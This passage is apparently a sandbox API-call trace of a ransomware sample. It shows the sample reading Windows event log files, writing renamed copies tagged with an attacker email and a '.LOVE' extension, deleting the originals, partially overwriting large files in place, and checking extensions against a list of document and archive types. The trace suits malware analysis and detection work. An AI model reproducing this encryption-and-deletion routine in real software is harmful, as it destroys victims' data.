(lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.235] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.235] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.235] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.235] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.235] GetLastError () returned 0x0 [0203.235] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.343] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.344] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.345] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x128, lpOverlapped=0x0) returned 1 [0203.345] SetEndOfFile (hFile=0x35c) returned 1 [0203.345] CloseHandle (hObject=0x35c) returned 1 [0203.347] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.347] SetEndOfFile (hFile=0x2f0) returned 1 [0203.349] CloseHandle (hObject=0x2f0) returned 1 [0203.349] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.350] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0203.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.350] lstrlenW (lpString=".doc") returned 4 [0203.350] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.350] lstrlenW (lpString=".docx") returned 5 [0203.350] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.350] lstrlenW (lpString=".pdf") returned 4 [0203.350] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.350] lstrlenW (lpString=".xls") returned 4 [0203.350] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.350] lstrlenW (lpString=".xlsx") returned 5 [0203.350] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.350] lstrlenW (lpString=".ppt") returned 4 [0203.350] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.350] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.350] lstrlenW (lpString=".zip") returned 4 [0203.350] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".rar") returned 4 [0203.351] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".bz2") returned 4 [0203.351] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".7z") returned 3 [0203.351] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.351] lstrlenW (lpString=".dbf") returned 4 [0203.351] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.351] lstrlenW (lpString=".1cd") returned 4 [0203.351] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.351] lstrlenW (lpString=".jpg") returned 4 [0203.351] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.351] lstrlenW (lpString=".doc") returned 4 [0203.351] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".docx") returned 5 [0203.351] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.351] lstrlenW (lpString=".pdf") returned 4 [0203.351] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".xls") returned 4 [0203.351] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.351] lstrlenW (lpString=".xlsx") returned 5 [0203.351] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.351] lstrlenW (lpString=".ppt") returned 4 [0203.352] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.352] lstrlenW (lpString=".zip") returned 4 [0203.352] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString=".rar") returned 4 [0203.352] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString=".bz2") returned 4 [0203.352] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString=".7z") returned 3 [0203.352] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.352] lstrlenW (lpString=".dbf") returned 4 [0203.352] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.352] lstrlenW (lpString=".1cd") returned 4 [0203.352] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0203.352] lstrlenW (lpString=".jpg") returned 4 [0203.352] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.352] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.352] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0203.353] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.353] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0203.353] CloseHandle (hObject=0x2f0) returned 1 [0203.353] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0203.353] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.353] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.353] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.353] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.353] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.354] GetLastError () returned 0x0 [0203.354] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.388] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.390] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.390] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x138, lpOverlapped=0x0) returned 1 [0203.390] SetEndOfFile (hFile=0x35c) returned 1 [0203.390] CloseHandle (hObject=0x35c) returned 1 [0203.392] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.392] SetEndOfFile (hFile=0x2f0) returned 1 [0203.394] CloseHandle (hObject=0x2f0) returned 1 [0203.394] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.394] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0203.394] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.394] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.394] lstrlenW (lpString=".doc") returned 4 [0203.394] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.394] lstrlenW (lpString=".docx") returned 5 [0203.394] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.394] lstrlenW (lpString=".pdf") returned 4 [0203.395] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString=".xls") returned 4 [0203.395] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString=".xlsx") returned 5 [0203.395] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.395] lstrlenW (lpString=".ppt") returned 4 [0203.395] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString=".zip") returned 4 [0203.395] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString=".rar") returned 4 [0203.395] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString=".bz2") returned 4 [0203.395] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString=".7z") returned 3 [0203.395] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString=".dbf") returned 4 [0203.395] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString=".1cd") returned 4 [0203.395] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString=".jpg") returned 4 [0203.395] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.395] lstrlenW (lpString=".doc") returned 4 [0203.396] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".docx") returned 5 [0203.396] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.396] lstrlenW (lpString=".pdf") returned 4 [0203.396] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".xls") returned 4 [0203.396] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".xlsx") returned 5 [0203.396] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.396] lstrlenW (lpString=".ppt") returned 4 [0203.396] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.396] lstrlenW (lpString=".zip") returned 4 [0203.396] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".rar") returned 4 [0203.396] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".bz2") returned 4 [0203.396] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString=".7z") returned 3 [0203.396] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.396] lstrlenW (lpString=".dbf") returned 4 [0203.396] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.396] lstrlenW (lpString=".1cd") returned 4 [0203.396] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.396] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0203.396] lstrlenW (lpString=".jpg") returned 4 [0203.396] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.397] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.397] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0203.397] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.397] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2166784) returned 1 [0203.397] CloseHandle (hObject=0x2f0) returned 1 [0203.397] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0203.397] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.397] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0203.398] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0203.398] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0x0) returned 1 [0203.399] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0203.399] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e68058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0203.441] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0203.441] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ea8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0203.468] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.468] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0203.468] ReadFile (in: hFile=0x2f0, lpBuffer=0x3ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ee8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0203.493] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.493] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x315fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0203.507] SetEndOfFile (hFile=0x2f0) returned 1 [0203.507] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43c1460 [0203.511] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.511] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1460*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1460*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.815] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.815] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1460*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1460*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.817] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0203.817] WriteFile (in: hFile=0x2f0, lpBuffer=0x43c1460*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1460*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0203.818] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1460 | out: hHeap=0x790000) returned 1 [0203.822] CloseHandle (hObject=0x2f0) returned 1 [0204.663] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.664] lstrlenW (lpString=".doc") returned 4 [0204.664] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".docx") returned 5 [0204.664] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.664] lstrlenW (lpString=".pdf") returned 4 [0204.664] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".xls") returned 4 [0204.664] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".xlsx") returned 5 [0204.664] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.664] lstrlenW (lpString=".ppt") returned 4 [0204.664] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.664] lstrlenW (lpString=".zip") returned 4 [0204.664] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".rar") returned 4 [0204.664] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".bz2") returned 4 [0204.664] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString=".7z") returned 3 [0204.664] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.664] lstrlenW (lpString=".dbf") returned 4 [0204.664] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.664] lstrlenW (lpString=".1cd") returned 4 [0204.665] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.665] lstrlenW (lpString=".jpg") returned 4 [0204.665] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.665] lstrlenW (lpString=".doc") returned 4 [0204.665] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".docx") returned 5 [0204.665] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.665] lstrlenW (lpString=".pdf") returned 4 [0204.665] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".xls") returned 4 [0204.665] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".xlsx") returned 5 [0204.665] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.665] lstrlenW (lpString=".ppt") returned 4 [0204.665] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.665] lstrlenW (lpString=".zip") returned 4 [0204.665] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".rar") returned 4 [0204.665] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".bz2") returned 4 [0204.665] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.665] lstrlenW (lpString=".7z") returned 3 [0204.665] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.666] lstrlenW (lpString=".dbf") returned 4 [0204.666] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.666] lstrlenW (lpString=".1cd") returned 4 [0204.666] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.666] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0204.666] lstrlenW (lpString=".jpg") returned 4 [0204.666] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.666] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.666] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0204.666] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.666] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0204.666] CloseHandle (hObject=0x2f0) returned 1 [0204.666] 